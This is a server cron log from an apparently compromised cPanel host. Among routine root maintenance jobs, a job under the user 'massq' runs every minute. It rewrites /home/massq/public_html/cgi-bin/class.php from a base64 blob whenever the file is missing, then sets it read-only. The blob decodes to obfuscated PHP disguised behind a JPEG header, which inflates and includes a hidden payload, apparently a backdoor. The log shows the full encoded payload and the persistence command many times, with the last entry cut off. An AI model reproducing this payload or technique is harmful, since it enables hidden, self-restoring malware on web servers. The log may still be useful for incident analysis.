Sep  7 18:54:01 server CROND[29198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:55:01 server CROND[29586]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 18:55:01 server CROND[29589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:55:01 server CROND[29590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:55:01 server CROND[29593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:55:01 server CROND[29596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:55:01 server CROND[29595]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 18:55:01 server CROND[29591]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:56:01 server CROND[30548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:56:01 server CROND[30550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:56:01 server CROND[30551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:57:01 server CROND[30949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:57:01 server CROND[30950]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 18:57:01 server CROND[30951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:57:01 server CROND[30952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:58:01 server CROND[31346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:58:01 server CROND[31345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:58:01 server CROND[31347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:59:01 server CROND[31851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:59:01 server CROND[31852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:59:01 server CROND[31853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:00:01 server CROND[32264]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:00:01 server CROND[32265]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 19:00:01 server CROND[32266]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 19:00:01 server CROND[32272]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:00:01 server CROND[32273]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 19:00:01 server CROND[32271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 19:00:01 server CROND[32276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:00:01 server CROND[32274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:00:01 server CROND[32275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:01:01 server CROND[667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:01:01 server CROND[668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:01:01 server CROND[670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:01:01 server CROND[669]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 19:01:01 server run-parts(/etc/cron.hourly)[669]: starting 0anacron
Sep  7 19:01:01 server run-parts(/etc/cron.hourly)[689]: finished 0anacron
Sep  7 19:02:01 server CROND[1124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:02:01 server CROND[1125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:02:01 server CROND[1126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:03:01 server CROND[1554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:03:01 server CROND[1555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:03:01 server CROND[1556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:04:01 server CROND[1965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:04:01 server CROND[1966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:04:01 server CROND[1967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:05:01 server CROND[2485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:05:01 server CROND[2491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:05:01 server CROND[2493]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 19:05:01 server CROND[2494]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 19:05:01 server CROND[2498]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 19:05:01 server CROND[2499]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:05:01 server CROND[2497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:05:01 server CROND[2495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBq